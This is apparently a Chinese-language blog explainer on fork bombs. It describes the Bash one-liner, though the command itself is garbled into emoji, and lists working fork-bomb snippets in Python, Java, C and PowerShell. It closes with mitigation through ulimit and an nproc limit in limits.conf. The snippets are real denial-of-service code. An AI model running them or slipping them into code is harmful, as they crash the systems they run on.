Fork bomb 是一种拒绝服务攻击,无限 fork 子进程以耗尽可用系统资源(CPU占用率高达100%),由于资源匮乏而导致系统速度放慢或崩溃。
Linux Bash
一个最简单的例子 (请在虚拟机上执行!)
- 😦) 定义一个名为 : 的函数
- { … } 函数体
- 😐: 递归调用该命令
- & 后台运行,前台运行直接为 ;
- ; 分割符
- : 执行名为 : 的函数
执行该命令会创建一个子进程,然后在无限循环中重复自己,不断产生进程,结果是一个无法响应的系统(死机)。
Windows Batch
Windows 批处理同样也可以发生fork bomb。新建一个.bat批处理文件,并添加一下简短的内容
Python
| import os while True: os.fork()
|
Java
| public class ForkBomb { public static void main(String[] args) { while(true) { Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"}); } } }
|
C
| #include <unistd.h> int main(){ while(1) { fork(); } }
|
PowerShell
| while($true) { Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"; Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';}
|
避免
在Linux下,可以通过 ulimit 设置的最大进程数(max user processes)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 30195 max locked memory (kbytes, -l) 16384 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 30195 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited
|
但是这只能在当前终端生效。因此,还可以修改 /etc/security/limits.conf 配置文件
| #<domain> <type> <item> <value> * soft nproc 4096
|
结尾
参考资料